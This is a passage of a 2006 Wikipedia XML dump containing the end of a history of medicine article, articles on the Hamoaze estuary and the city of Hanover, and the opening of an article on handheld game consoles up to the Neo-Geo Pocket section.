Medical institutions are known to have been established in [[ancient Egypt]] since as early as the [[First dynasty of Egypt|1st Dynasty]]{{fact}}. By the time of the [[Nineteenth dynasty of Egypt|19th Dynasty]] their employees enjoyed such benefits as [[medical insurance]], [[pensions]] and [[sick leave]]. Employees worked 8 hours per day [http://www.arabworldbooks.com/articles8c.htm].

The earliest known physician is also credited to [[History of Ancient Egypt|ancient Egypt]]: [[Hesyre]], “Chief of Dentists and Physicians” for King [[Djoser]] in the [[27th century BC]] [http://www.arabworldbooks.com/articles8c.htm]. Also, the earliest known woman physician, [[Peseshet]], practiced in [[Ancient Egypt]] at the time of the [[Fourth dynasty of Egypt|4th dynasty]]. Her title was “Lady Overseer of the Lady Physicians.” In addition to her supervisory role, Peseshet graduated midwives at an ancient Egyptian medical school in [[Sais]] (see [http://www.arabworldbooks.com/articles8c.htm ''Medicine In Ancient Egypt, page 3'']).

See also the article on ancient Egyptian medicine posted at [http://www.indiana.edu/~ancmed/egypt.HTM ''Indiana University: Medicine in Ancient Egypt''].

===Indian medicine===
{{Main|Ayurveda}}
[[Ayurveda]] (the science of living), the [[Vedic science|Vedic]] system of medicine originating over 3000 years ago, views health as harmony between body, mind and spirit. Its two most famous texts belong to the schools of [[Charaka]] and [[Sushruta]]. According to [[Charaka]], health and disease are not predetermined and life may be prolonged by human effort. [[Sushruta]] defines the purpose of medicine to cure the diseases of the sick, protect the healthy, and to prolong life.

Āyurveda speaks of eight branches: kāyāchikitsā ([[internal medicine]]), shalyachikitsā ([[surgery]] including [[anatomy]]), shālākyachikitsā ([[eye]], [[ear]], [[nose]], and [[throat]] diseases), kaumārabhritya ([[pediatrics]]), bhūtavidyā ([[psychiatry]], or [[demonology]]), and agada tantra ([[toxicology]]), rasāyana 
(science of rejuvenation), and vājīkarana (the science of [[fertility]]).

Apart from learning these, the student of Āyurveda was expected to know ten arts that were indispensable in the preparation and application of his medicines: distillation, operative skills, cooking, horticulture, metallurgy, sugar manufacture, pharmacy, analysis and separation of minerals, compounding of metals, and preparation of alkalis.  The teaching of various subjects was done during the instruction of relevant clinical subjects.  For example, teaching of anatomy was a part of the teaching of surgery, [[embryology]] was a part of training in pediatrics and [[obstetrics]], and the knowledge of [[physiology]] and [[pathology]] was interwoven in the teaching of all the clinical disciplines.

At the closing of the initiation, the [[guru]] gave a solemn address to the students where the guru directed the students to a life of chastity, honesty, and [[vegetarianism]]. The student was to strive with all his being for the health of the sick. He was not to betray patients for his own advantage. He was to dress modestly and avoid strong drink. He was to be collected and self-controlled, measured in speech at all times. He was to constantly improve his knowledge and technical skill. In the home of the patient he was to be courteous and modest, directing all attention to the patient's welfare. He was not to divulge any knowledge about the patient and his family. If the patient was incurable, he was to keep this to himself if it was likely to harm the patient or others.

The normal length of the student's training appears to have been seven years. Before graduation, the student was to pass a test. But the physician was to continue to learn through texts, direct observation ([[pratyaksha]]), and through inference ([[anumāna]]). In addition, the [[vaidyas]] attended meetings where knowledge was exchanged. The doctors were also enjoined to gain knowledge of unusual remedies from hillsmen, herdsmen, and forest-dwellers. Ancient Indian cultures also cultivated systems of healing such as [[Pranic healing]].

In [[2001]], archaeologists studying the remains of two men from [[Mehrgarh]], [[Pakistan]], made the discovery that the people of [[Indus Valley Civilization]], even from the early [[Harappa]]n periods (circa [[3300 BC]]), had knowledge of medicine and [[dentistry]]. The physical anthropologist who carried out the examinations, Professor Andrea Cucina from the University of Missouri-Columbia, made the discovery when he was cleaning the teeth from one of the men. (See [[Indus Valley Civilization#Science|Indus Valley Civilization: Science]])

===Chinese medicine===
''See main article: [[History of traditional Chinese medicine]].''

China also developed a large body of traditional medicine. Much of the philosophy of [[traditional Chinese medicine]] derived from empirical observations of disease and illness by [[Taoist]] physicians and reflects the classical Chinese belief that individual human experiences express causative principles effective in the environment at all scales. These causative principles, whether material, essential, or metaphysical, correlate as the expression of the natural order of the universe.  

During the golden age of his reign from 2696 to 2598 B.C, as a result of a dialogue with his minister Ch'i Pai, the [[Yellow Emperor]] is supposed by Chinese tradition to have composed his ''Neijing (內經) [[Suwen]] (素問)'' or ''Basic Questions of Internal Medicine''. 

During the Han dynasty, Chang Chung-Ching, who was mayor of Chang-sha near the end of the second century A.D., wrote a ''Treatise on Typhoid Fever'', which contains the earliest known reference to ''[[Neijing Suwen]]''. The Chin dynasty practitioner and advocate of [[acupuncture]] and [[moxibustion]], Huang-fu Mi (215-282 A.D), also quotes the [[Yellow Emperor]] in his 
''Chia I Ching'', ca. 265 A.D.  During the Tang dynasty, Wang Ping claimed to have located a copy of the originals of the '''Neijing Suwen''', which he expanded and edited substantially.  This work was revisited by an imperial commission during the eleventh century A.D., and the result is our best extant representation of the foundational roots of traditional Chinese medicine.

===Hebrew medicine===
Most of our knowledge of ancient Hebrew medicine during the [[1st millennium BC]] comes from the [[Old Testament]] of the [[Bible]] which contain various health related laws and rituals, such as isolating infected people (Leviticus 13:45-46), washing after handling a dead body (Numbers 19:11-19) and burying excrement away from camp (Deuteronomy 23:12-13).  Max Neuberger, writing in his &quot;History of Medicine&quot; says&quot;
:''&quot;The commands concern prophylaxis and suppression of epidemics, suppression of venereal disease and prostitution, care of the skin, baths , food, housing and clothing, regulation of labour , sexual life , discipline of the people , etc. Many of these commands, such as Sabbath rest, circumcision, laws concerning food (interdiction of blood and pork), measures concerning menstruating and lying-in women and those suffering from gonorrhoea, isolation of lepers, and hygiene of the camp, are, in view of the conditions of the climate, surprisingly rational.&quot;''(Neuburger: History of Medicine, Oxford University Press, 1910, Vol. I, p. 38).

===Early European medicine===
''See also [[Medieval medicine]].''

[[Image:Medical Astro-Man.jpg|thumb|300px|right|[[Astrology]] played a very important part in early Western medicine; most university-educated physicians were trained in at least the basics of astrology to use in their practice]]
As societies developed in Europe and Asia, belief systems were replaced with a different natural system. The [[Ancient Greece|Greeks]], from [[Hippocrates]], developed a humoral medicine system where treatment was to restore the balance of [[Classical element|humours]] within the body. ''[[Ancient Medicine]]'' is a treatise on medicine, written roughly [[400 BC]] by Hippocrates. Similar views were espoused in [[China]] and in [[India]].  See [[Ancient Greek medicine]] for more.

From the ideas developed in Greece, through [[Galen]] until the [[Renaissance]] the main thrust of medicine was the maintenance of health by control of [[diet (nutrition)|diet]] and [[hygiene]]. [[Anatomy|Anatomical]] knowledge was limited and there were few surgical or other cures, doctors relied on a good relation with patients and dealt with minor ailments and soothing chronic conditions and could do little when epidemic diseases, growing out of [[urbanization]] and the [[domestication]] of animals, then raged across the world.

Medieval medicine was an evolving mixture of the [[science|scientific]] and the spiritual. In the early [[middle ages]], following the fall of the [[Roman Empire]], standard medical knowledge was based chiefly upon surviving Greek and Roman texts, preserved in monasteries and elsewhere. Ideas about the origin and cure of [[disease]] were not, however, purely [[secular]], but were also based on a [[spirituality|spiritual]] world view, in which factors such as destiny, sin, and astral influences played as great a part as any physical cause. 

In this era, there was no clear tradition of scientific medicine, and accurate observations went hand-in-hand with spiritual beliefs as part of the practice of medicine.

===Arabic medicine===
{{Main|Islamic medicine}}
The [[Arab world]] rose to primacy in medical science with such thinkers as [[Ibn Sina]] ([[Avicenna]]), [[Ibn Nafis]], and [[Rhazes]].

The first generation of Arabian superb physicians were trained at the [[Academy of Gundishapur]], where the teaching hospital was first invented. Rhazes, for example, became the first physician to systematically use alcohol in his practice as a physician.

The ''Comprehensive Book of Medicine'' (Large Comprehensive, Hawi or &quot;al-Hawi&quot; or &quot;The Continence&quot;) was written by the Iranian chemist [[Rhazes]] (known in Arabic as [[Al-Razi]]), the &quot;Large Comprehensive&quot; was the most sought after of all his compositions. In it, Rhazes recorded clinical cases of his own experience and provided very useful recordings of various diseases. 

The &quot;''Kitab fi al-jadari wa-al-hasbah''&quot;, with its introduction on [[measles]] and [[smallpox]] was also very influential in [[Europe]].

The [[Mutazilite]] philosopher and doctor [[Ibn Sina]] (known as [[Avicenna]] in the western world) was another influential figure.  His ''[[The Canon of Medicine]]'', sometimes considered the most famous book in the history of medicine, remained a standard text in Europe up until its [[Age of Enlightenment]] and the renewal of the [[Arabic]] tradition of scientific [[medicine]].

[[Maimonides]], although a Jew himself, made various contributions to Arabic medicine in the 12th century.

[[Ibn Nafis]] (d. 1288) described human [[blood circulation]].  This discovery would be rediscovered, or perhaps merely demonstrated, by [[William Harvey]] in [[1628]], who generally receives the credit in Western history.  There was a persistent pattern of Europeans repeating Arabian research in medicine and [[Arabian astronomy|astronomy]], and some say [[Arabian science|physics]], and claiming credit for it.

===European Renaissance and Enlightenment medicine===
This idea of personalised medicine was challenged in Europe by the rise of experimental investigation, principally in dissection, examining bodies in a manner alien to other cultures. The work of individuals like [[Andreas Vesalius]] and [[William Harvey]] challenged accepted folklore with scientific evidence. Understanding and diagnosis improved but with little direct benefit to health. Few effective drugs existed, beyond [[opium]] and [[quinine]], folklore cures and almost or actually poisonous metal-based compounds were popular, if useless, treatments.

Important figures:
* [[Realdo Colombo]], anatomist and surgeon who contributed to understanding of lesser circulation.
* [[Michael Servetus]], first to ''discover'' the pulmonary circulation of the blood.
* [[William Harvey]] describes blood circulation.
* [[John Hunter (surgeon)|John Hunter]], surgeon.
* [[Amato Lusitano]] described venous valves and guessed their function.
* [[Garcia de Orta]] first to describe [[Cholera]] and other tropical diseases and herbal treatments
* [[Percivall Pott]], surgeon.
*  Sir [[Thomas Browne]] physician and medical neologist.
*[[Thomas Sydenham]] physician and so-called &quot;English Hippocrates.&quot;

===Modern medicine===
Medicine was revolutionized in the 18th century and beyond by advances in [[chemistry]] and laboratory techniques and equipment, old ideas of infectious disease epidemiology were replaced with [[bacteriology]].

[[Ignaz Semmelweis]] in [[1847]] dramatically reduced the death rate of new mothers from [[childbed fever]] by the simple experiment of requiring physicians to wash their hands before attending to women in [[childbirth]]. His discovery predated the [[germ theory of disease]]. However, his discoveries were not appreciated by his contemporaries and came into use only with discoveries of British surgeon [[Joseph Lister]], who in [[1865]] proved the principles of [[antisepsis]].

His work is based on the very important discoveries made by French biologist [[Louis Pasteur]]. Pasteur was able to link some microorganisms with disease. This brought a revolution in [[medicine]]. He also devised one of the most important methods in [[preventive medicine]], when in [[1880]] he produced the [[vaccine]] against [[rabies]]. Pasteur also invented the process of [[pasteurization]] to help prevent the spread of disease through milk and other foods.

[[Robert Koch]] is considered one of the founders of bacteriology. He is famous for the discovery of the 
[[Mycobacterium tuberculosis|tubercle bacillus]] ([[1882]]) and the [[Vibrio cholerae|cholera bacillus]] ([[1883]]) and for his development of [[Koch's postulates]]. 

For the first time actual cures were developed for certain endemic infectious diseases. However the decline in the most lethal diseases was more due to improvements in public health and nutrition than to medicine. It was not until the 20th century that there was a true breakthrough in medicine, with great advances in [[pharmacology]] and surgery.

The 20th century witnessed a shift from a master-apprentice paradigm of teaching of clinical medicine to a more &quot;democratic&quot; system of medical schools. With the advent of the [[evidence-based medicine]] and great advances of information technology the process of change is likely to evolve further.

[[Evidence-based medicine]], the application of modern scientific method to ask and answer clinical questions, has had a great impact on practice of medicine throughout the world of modern medicine. 

Modern, ''western'' medicine has proven uniquely effective and widespread compared with all other medical forms, but has fallen far short of what once seemed a realistic goal of conquering all disease and bringing health to even the poorest of nations. It is notably secular and material, indifferent to ideas of the supernatural or the spirit, and concentrating on the body to determine causes and cures - an emphasis that has provoked something of a backlash in recent years.

==Special history of medicine==
* [[History of abortion]]
* [[History of anatomy]]
* [[History of alternative medicine]]
* [[History of brain imaging]]
* [[History of cancer chemotherapy]]
* [[History of intersex surgery]]
* [[History of immunology]]
* [[History of internal medicine]]
* [[History of legal medicine]]
* [[History of microbiology]]
* [[History of neurology]]
* [[History of ophthalmology]]
* [[History of mental illness]]
* [[History of neurology]]
* [[History of pharmacology]]
* [[History of physiology]]
* [[History of psychiatry]]
* [[History of parapsychology]]
* [[History of traditional Chinese medicine]]
* [[History of veternary medicine]]
* [[Ophthalmology in medieval Islam|History of Islamic medieval ophthalmology]]

==Museums and collections of health and medicine==
*[[The London Museums of Health &amp; Medicine]]
*[[Osler Library of the History of Medicine]]
*[[National Library of Medicine]] 

==See also==
*[[History of science]]
*[[History of technology]]
*[[Medicine]]
:*[[Alternative medicine]]
*[[Timeline of medicine and medical technology]]
==External links==
*[http://www.newadvent.org/cathen/10122a.htm History of Medicine @ Catholic Encyclopedia]
*[http://www.jewishencyclopedia.com/view.jsp?artid=325&amp;letter=M&amp;search=medicine Medicine @ JewishEncyclopedia.com]
*[http://www.loc.gov/exhibits/vatican/medicine.html Exhibition of the Vatican Library's Medical Holdings @ The Library of Congress]

==Bibliography==
* {{cite book | title = The Greatest Benefit to Mankind: A Medical History of Humanity from Antiquity to the Present | last = Porter | first =  R. | year = 1997 | publisher = Harper Collins | id = ISBN 0002151731 }}

[[Category:History by topic|Medicine]]
[[Category:History of medicine|*]]

[[de:Medizingeschichte]]
[[es:Historia de la medicina]]
[[fr:Histoire de la médecine]]
[[ja:医学の歴史]]
[[pl:Historia medycyny]]
[[pt:História da medicina]]
[[zh:医学史]]</text>
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    <title>Hamoaze</title>
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    <revision>
      <id>40786021</id>
      <timestamp>2006-02-23T00:27:57Z</timestamp>
      <contributor>
        <username>Necrothesp</username>
        <id>64853</id>
      </contributor>
      <comment>added image</comment>
      <text xml:space="preserve">[[Image:Devonport Dockyard.jpg|thumb|right|250px|[[HMNB Devonport|Devonport Dockyard]] and the Hamoaze from the [[Rame Peninsula]], [[Cornwall]]]]
The '''Hamoaze''' is an [[estuary|estuarine]] stretch of [[water]] at the point where the tidal [[River Tamar]], the [[River Tavy]], and the [[River Lynher]] enter [[Plymouth Sound]].  It flows past [[HMNB Devonport|Devonport Dockyard]], and the presence of [[naval craft]] presents particular hazards to [[small craft]].

{{Devon-geo-stub}}

[[no:Hamoaze]]
[[de:Hamoaze (England)]]

[[Category:Rivers in Devon]]
[[Category:Rivers in Cornwall]]
[[Category:Plymouth]]
[[Category:Estuaries in England]]</text>
    </revision>
  </page>
  <page>
    <title>Hanover</title>
    <id>14197</id>
    <revision>
      <id>41479018</id>
      <timestamp>2006-02-27T17:08:27Z</timestamp>
      <contributor>
        <ip>213.140.57.60</ip>
      </contributor>
      <text xml:space="preserve">:''This article refers to the city. For other uses, see [[Hanover (disambiguation)]]''
{{Infobox Town DE|
name = Hanover|
name_local = Hannover|
image_coa =  hannover coa.jpg|
image_map =  Hannover-Position.png|
state = [[Lower Saxony]]|
regbzk = [[Hanover (region)]] (disbanded [[1 January]] [[2005]])|
district = [[Hanover (district)]]|
population = 515,772|
population_as_of = [[2005]]|
population_ref = [http://www.nls.niedersachsen.de/Download/StatistischeBerichte/AI2_hj1_2005Gesamt.pdf source]|
pop_dens = 2528|
area = 204.01|
elevation = 55|
lat_deg = 52| 
lat_min = 22|
lat_hem = N|
lon_deg = 9|
lon_min = 43|
lon_hem = E|
postal_code = 30001 - 30669|
area_code = 0511|
licence = H|
mayor = Dr Herbert Schmalstieg ([[Social Democratic Party of Germany|SPD]])|
website = [http://www.hannover.de/ www.hannover.de]|
}}
'''Hanover''' ([[German language|German]]: ''Hannover'' [{{IPA|haˈnoːfɐ}}]), on the river [[Leine]], is the capital of the federal state of [[Lower Saxony]] (''Niedersachsen''), [[Germany]]. It is also the capital of the surrounding [[Hanover (district)|Hanover district]] and was the capital of the  [[Hanover (region)|Hanover region]] until Lower Saxony's regions were disbanded at the beginning of 2005.

==History==
The town was founded in medieval times on the bank of the river Leine (the original name ''Honovere'' may be translated as &quot;high bank&quot;). It was a small village of ferrymen and fishermen, which became a comparatively large town in the [[13th century]]. In the [[14th century]] the main [[church]]es of Hanover were built, as well as a [[city wall]] with three [[town gates]] to secure the city.

In [[1636]] the Duke of [[Calenberg]] decided to move his residence to Hanover. His [[duchy]] was afterwards known as the Duchy of Hanover (see: [[House of Hanover]]). His descendants would later become kings of the [[United Kingdom]]; the first of them was [[George I of the United Kingdom|George I]], who ascended to the British throne in [[1714]]. Three kings of the United Kingdom were at the same time [[prince-elector|Electoral Princes]] of Hanover.

During the [[Seven Years' War]] on [[July 26]], [[1757]] the [[Battle of Hastenbeck]] took place. The [[France|French]] army defeated the [[Hanoverian Army of Observation]], leading to the occupation of Hanover.

[[Image:New town hall Hannover.jpg|thumb|left|New Town Hall in Hanover]]

After [[Napoleon I of France|Napoleon]] imposed the [[Convention of Artlenburg]] (Convention of the Elbe) on [[July 5]], [[1803]] about 30,000 French soldiers occupied Hanover. The convention also meant the disbanding of the army of Hanover. [[George III of the United Kingdom|George III]] did not recognize the Convention of the Elbe and made an effort to recruit foreign troops. As a result a great number of soldiers of Hanover eventually emigrated to [[England]] leading to the [[King's German Legion]] which later played an important role in the [[Battle of Waterloo]]. At the [[Congress of Vienna]] in [[1814]] [[George III of the United Kingdom|George III]] elevated the electorate to the [[Hanover (state)|Kingdom of Hanover]]. The capital town Hanover expanded to the western bank of the Leine and grew considerably.

In [[1837]] the [[personal union]] of the United Kingdom and Hanover ended as [[William IV of the United Kingdom|William IV's]] [[Victoria of the United Kingdom|heir in the United Kingdom]] was female, and Hanover could be [[Salic Law|inherited only by males]]. Hanover continued as a kingdom until [[1866]], when it was annexed by [[Prussia]]. After the annexation, the people of Hanover opposed the Prussian regime. Nevertheless, the growth of Hanover continued until [[World War II]], when two thirds of the town was bombed to ruins. After the war, Hanover was in the British zone of occupation of Germany, and later became famous for hosting commercial expositions such as the [[CeBIT]] and the [[Hanover Fair]]. In [[2000]], Hanover hosted the [[Expo 2000]].

==Sights==
[[Image:Kroepke 1895.jpg|thumb|Kröpke, 1895]]
[[Image:Hannover - Hauptbahnhof Eingangsportal 1.jpg|thumb|Ernst August memorial, railway station]]
[[Image:Marketchurchhannover.jpg|thumb|Market Church in Hanover]]
[[Image:Oldtownhallhannover.JPG|thumb|Old Town Hall]]
* [[Kröpcke]] (the most central square in Hanover and a favourite city-centre meeting place)
* [[Market Square, Hanover|Market Square]] (oldest square in Hanover and the very centre of urban expansion)
* [[Ballhof Square]] (created in the [[1930s]] during a re-development process)
* [[Old Town]] (during the rebuilding of Hannover after World War II, parts of the remaining buildings, mainly the façades, were relocated and accumulated in this area)
* [[Kreuzkirche]] (Church of the Holy Cross, built in the [[14th century]])
* [[Marktkirche]] (church at the market square, built in the [[14th century]])
* [[Aegidienkirche]] (built in the [[14th century]], destroyed in [[1943]], today a memorial for victims of war and violence)
* [[Leineschloss]] (castle on the river Leine, today the seat of Lower Saxony's parliament)
* [[Altes Rathaus]] (old town hall at the marketplace, build in the [[15th century]])
* [[Herrenhäuser Gärten]] (baroque garden and park ensemble, founded in [[1666]] by Duke Johann Friedrich of Calenberg)
* [[Mausoleum]] (last resting place of the royal family, built [[1846]] by Laves)
* [[Opernhaus]] (opera house, built 1845-1852 based on a plan drawn by Laves)
* [[Welfenschloss]] (guelfs castle, built 1857-1866 as residence of king George V, rebuilt 1875-1879 as seat of the [[university]])
* [[Christuskirche]] (Christ Church, built 1859-1864 by Conrad Wilhelm Hase in [[neo-Gothic]] style)
* [[Neues Rathaus]] (new town hall, built 1901-1913 based on plan by Eggert and Halmhuber)
* [[Maschsee]] (artificial lake, affectionately called the &quot;blue eye&quot; of Hanover)
* [[Eilenriede]] (big inner-city forest, affectionately called the &quot;green lung&quot; of Hanover)
* [[Skulpturenmeile]] (street art project started in the [[1970s]] with sculptures from John Henry, Niki de Saint Phalle, Kenneth Snelson and many others)
* [[Gehry Tower]] (post-modern building in the inner city near the Steintor Square)
* [[Hermes Tower]] (steel skeleton tower at the exhibition grounds in Laatzen)
* [[VW Tower]] (old broadcast tower near the central bus station)
* [[Telemax]] (new broadcast tower in Hannover-Buchholz, highest building in Hanover)

Recommended Day Trips:
* [[Hildesheim]]: beautiful medieval town famous for its [[World Heritage Site|UNESCO-cultural heritage]] [[Cathedral]]s, marketplace and old [[half-timbering|half-timbered]] houses; also for its Pelizäus Museum with an important section on ancient Egypt
* [[Hamelin]] (Hameln): the beautiful town is famous for the [[folktale]] of [[The Pied Piper of Hamelin]]

==Towns named after Hanover==
* [[Hanover, Ontario|Hanover]], [[Ontario]], [[Canada]]
* [[Hanover, South Africa|Hanover]], [[Northern Cape]], [[South Africa]]
* [[Hanover, Minnesota|Hanover]], [[Minnesota]], [[USA]]
* [[Hanover, New Hampshire|Hanover]], [[New Hampshire]], [[USA]]
* [[Hanover, Pennsylvania|Hanover]], [[York County, Pennsylvania|York County]], [[Pennsylvania]], [[USA]]
* [[Hanover, Massachusetts|Hanover]], [[Massachusetts]], [[USA]]
* [[Hanover, Maine|Hanover]], [[Maine]], [[USA]]

==Twinning==
{|
| valign=&quot;top&quot; |
* {{flagicon|UK}} - [[Bristol]], [[United Kingdom]]
* {{flagicon|France}} - [[Perpignan]], [[France]]
* {{flagicon|France}} - [[Rouen]], [[France]]
* {{flagicon|Malawi}} - [[Blantyre]], [[Malawi]]
| valign=&quot;top&quot; |
* {{flagicon|Poland}} - [[Poznan]], [[Poland]]
* {{flagicon|Japan}} - [[Hiroshima]], [[Japan]]
* {{flagicon|Germany}} - [[Leipzig]], [[Germany]]
|}

==Airports==
Hanover and its area is served by [[Hanover/Langenhagen International Airport|Hanover/Langenhagen International Airport (HAJ)]]

==Miscellaneous==
'''Note:''' Hanover is the correct English spelling, even though the German spelling is with a double n. It should always be used when referring to the British [[House of Hanover]] (even if you choose to write the city the German way).
[[Image:Hannover Opernhaus.jpg|thumb|right|The Opernhaus (&quot;state opera&quot;) is housed in its classical [[19th century]] theatre-building.]]

There are several universities in Hanover:
* [[University of Hanover]]
* Hanover Conservatory [http://www.hmt-hannover.de]
* Hanover Medical School [http://www.mh-hannover.de]
* [[School of Veterinary Medicine Hanover]]

There is one University of Applied Science and Arts in Hanover:
* [[Fachhochschule Hannover]] [http://www.fh-hannover.de]

Famous quarters of Hanover:
*[[Herrenhausen]]
*[[Hannover-Zoo]]
*[[Hannover-Nordstadt]]
*[[Hannover-Linden]]

The [[rock band]]s [[Scorpions (band)|Scorpions]] and [[Fury in the Slaughterhouse]] are originally from Hanover.

== See also==
* [[Hanover Fair]] (Hannover Messe)
* [[CeBIT]] (CeBIT Computer Messe)
* [[Oktoberfest Hannover]]

==External links==
*[http://www.hannover.de/ City's own website]`
*[http://www.gvh.de Local Public Transport]
*[http://www.panorama-cities.net/hannover/hannover.html City Panoramas] - Panoramic Views of Hannover's Highlights
*[http://www.fembio.org/women-from/women-from-hannover.shtml FemBio] - Special: Notable Women of Hanover
*[http://www.hannovermesse.de/homepage_e?x=1 Hannover Messe] - Hanover Fair
*[http://www.cebit.de/7380?x=1 CeBIT] - Computer Fair
*[http://www.exposeeum.de/ EXPOseeum] - see what is left from [[Expo 2000]]
'''Hanover Nightlife'''
*[http://HannoverNet.org/  Nightlife, events, chat, and photos (original german)]
*[http://translate.google.com/translate?u=http%3A%2F%2Fhannovernet.ath.cx&amp;langpair=de%7Cen&amp;hl=en&amp;ie=UTF-8&amp;oe=UTF-8&amp;prev=%2Flanguage_tools  Nightlife, events, chat, and photos (english)]
{{commons|Category:Hannover, Germany}}
[[Category:Cities in Lower Saxony]]
[[Category:Hanover|*]]
[[Category:German state capitals]]
[[als:Hannover]]
[[ar:هانوفر]]
[[ast:Hannover]]
[[bg:Хановер]]
[[ca:Hannover]]
[[da:Hannover]]
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[[es:Hanóver]]
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[[fa:هانوور]]
[[fr:Hanovre]]
[[gl:Hannóver - Hannover]]
[[ko:하노버]]
[[is:Hannover]]
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[[he:הנובר]]
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[[ka:ჰანოვერი]]
[[ku:Hannover]]
[[la:Hannoveria]]
[[lv:Hannovere]]
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[[nl:Hannover]]
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[[pt:Hanôver]]
[[ru:Ганновер]]
[[fi:Hannover]]
[[sv:Hannover]]
[[tr:Hannover]]
[[zh:漢諾威]]</text>
    </revision>
  </page>
  <page>
    <title>Handheld game console</title>
    <id>14199</id>
    <revision>
      <id>41972041</id>
      <timestamp>2006-03-02T23:39:00Z</timestamp>
      <contributor>
        <ip>72.137.173.201</ip>
      </contributor>
      <comment>copyedit</comment>
      <text xml:space="preserve">A '''handheld game console''' is a lightweight, portable electronic device for playing [[Computer and video games|video game]]s. Unlike [[video game console]]s, however, the controls, screen and speakers are all part of a single unit. Throughout the [[1970s]] and [[1980s]], several companies – including [[Coleco]] and [[Milton-Bradley]] – made lightweight table-top or [[handheld electronic game]] devices. Today, these machines aren't considered strictly consoles, since they often would only play a single game. The first true handheld game console with interchangeable [[cartridge (electronics)|cartridges]] was the Milton Bradley [[Microvision]] in [[1979]]. [[Nintendo]] has dominated the handheld market since the release of the [[Game Boy]] in [[1989]], and is often credited as popularizing the handheld console concept.

== History ==
=== Origins ===
The first handheld game console to use interchangeable [[cartridge (electronics)|game cartridges]] was the [[Microvision]], designed by [[Smith Engineering]], and distributed and sold by [[Milton-Bradley]] in [[1979]]. A small screen, a small selection of games (only thirteen) led to its demise only two years later. Today, working Microvisions are quite rare. The keypad could be easily damaged and the [[Liquid crystal display|LCD]] technology of the late [[1970s]] was poor, leading to liquid crystal leaking and darkening. In [[1984]], Japanese company [[Epoch Game Pocket Computer|Epoch]] released their [[Epoch Game Pocket Computer|Game Pocket Computer]]. Despite decent reviews, the system failed.

===Early 1990s===
The early 1990s was the re-launch of the handheld game console pillar of the video game market after the demise of the Microvision.  As backlit LCD game consoles with color graphics consume a lot of power, they weren't battery friendly like the non-backlit original Game Boy with monochrome graphics which allowed more battery life.  During this timeframe, [[rechargeable battery]] technology was not yet mature thereby rendering the advanced game consoles of the time such as the [[Game Gear]] and [[Atari Lynx]] [[list of major commercial failures in computer and video gaming|marketing flops in the handheld video game market]].  Now since game systems of today have proprietary rechargeable batteries such as the [[Game Boy Advance SP]] and [[Sony PSP]], handheld video game consoles of today are doing better than the ones from the past.  Unlike the aforementioned current-generation consoles, the [[GP2X]] uses rechargeable [[alkaline battery|alkaline batteries]].

====Nintendo Game Boy====
{{main|Game Boy}}
[[Image:Gameboy.jpg|right|thumb|180px|The original Game Boy's design set the standard for handheld gaming consoles.]]It wasn't until five years later that [[Nintendo]] released the Game Boy. The design team headed by [[Gumpei Yokoi]] had also been responsible for the [[Game &amp; Watch]] system, as well as the [[Nintendo Entertainment System]] games ''[[Metroid]]'' and ''[[Kid Icarus]]''. The Game Boy came under scrutiny by some industry critics, saying that the monochrome screen was too small, and the processing power was inadequate. The design team had felt that low initial cost and battery economy were more important concerns, and when compared to the Microvision, the Game Boy was a huge leap forward.

Yokoi recognized that the Game Boy needed a [[killer app]] –  at least one game that would define the console, and persuade customers to buy it. In June [[1988]], [[Minoru Arakawa]], CEO of Nintendo of America saw a demonstration of the game ''[[Tetris]]'' at a trade show. Nintendo purchased the rights for the game, and packaged it with the Game Boy system. It was almost an immediate hit. By the end of the year more than a million units were sold, and 25 million were sold by [[1992]]. The original Game Boy (along with the [[Game Boy Pocket]], [[Game Boy Color]], and [[Game Boy Advance]]) is the best selling game console ever, having sold more than 190 million units {{ref|gbsales}}. Some say that the [[Game Boy]] line had already reached more than 220 million units sold.

Although the Game Boy is by far the most successful handheld game system, there were a number of other systems made throughout the 1990s.

====Atari Lynx====
{{main|Atari Lynx}}
[[Image:Atari-lynx-1-1000.jpeg|right|thumbnail|Atari Lynx]]In 1987, [[Epyx]] created the Handy; a device that would turn into the Atari Lynx in 1989. It was the first color portable ever made, as well as the first with a backlit screen. It featured a color LCD screen with backlight, networking support with up to 17 other players, and advanced hardware that allowed the zooming and scaling of sprites.  The Lynx could also be turned upside down to accommodate [[left-handed]] players. However, all these features came at a very high price point, which drove consumers to seek cheaper alternatives. The Lynx was also very unwieldy (due to [[Focus group|focus groups]] requesting the machine be bigger so it felt like they &quot;got their money's worth&quot;), consumed batteries very quickly and lacked the third-party support of the alternatives. Due to a high price, short battery life, production shortages, a dearth of compelling games, and Nintendo's aggressive marketing campaign, and despite a redesign in [[1991]], the Lynx became a [[List of commercial failures in computer and video gaming|commercial failure]].

====Sega Game Gear====
{{main|Game Gear}}
[[Image:Sega_GameGear.jpg|right|thumbnail|Sega GameGear]]
In response to the Game Boy's success, work began on several handhelds that aimed to capitalize on what was seen to be the Game Boy's main weakness: inadequate graphic quality. The [[Sega]] Game Gear was released in late [[1990]], and featured a backlit color display, like the Lynx's. The Game Gear's internal architecture was almost identical to the [[Sega Master System]] console (the Game Gear had 4096 possible colors versus the Master System's 256), which allowed Sega to quickly release a large number of games that had originally been written for the older system. The Game Gear had the same drawbacks as the Lynx, however, and although it fared a bit better(aprox. 10 mil. units sold worldwide), it also failed to impact the Game Boy's dominance.

Several other attempts to compete with the Game Boy were made, such as the [[NEC TurboExpress]], [[Supervision (handheld game console)|Supervision]], and [[Neo Geo Pocket]]. Despite technologically superior hardware in almost all of these systems, especially by the mid-1990s, none were ever a close competitor to the Game Boy.

====NEC TurboExpress====
{{main|TurboExpress}}
The '''TurboExpress''' was a portable version of the TurboGrafx, released in [[1990]] for $249.99 (the price was briefly raised to $299.99, soon dropped back to $249.99, and by [[1992]] it was $199.99). Its Japanese equivalent was the [[PC Engine GT]].

[[image:turbo_express.jpg|thumbnail|TurboExpress handheld, TV tuner, and games]]
It was the most advanced handheld of its time and could play all the [[TurboGrafx-16]]'s games(which were on a small, credit-card sized media called HuCards). It had a 66 mm (2.6 in.) screen, the same as the original [[Game Boy]], and could display 64 [[Sprite (computer graphics)|sprite]]s at once, 16 per scanline, in 512 (some say only 482?) colors. It had 64 kilobytes of [[Random Access Memory|RAM]]. The Turbo ran its two 6820 [[Central processing unit|CPUs]] at 3.58 [[megahertz|MHz]] in parallel. 

The optional &quot;TurboVision&quot; TV tuner included RCA audio/video input, allowing you to use TurboExpress as a video monitor.  The &quot;TurboLink&quot; allowed two-player play.  ''Falcon'', a flight simulator, included a &quot;head-to-head&quot; dogfight mode that could only be accessed via TurboLink. However, very few TG-16 games offered co-op play modes especially designed with the TurboExpress in mind.

====Neo-Geo Pocket====
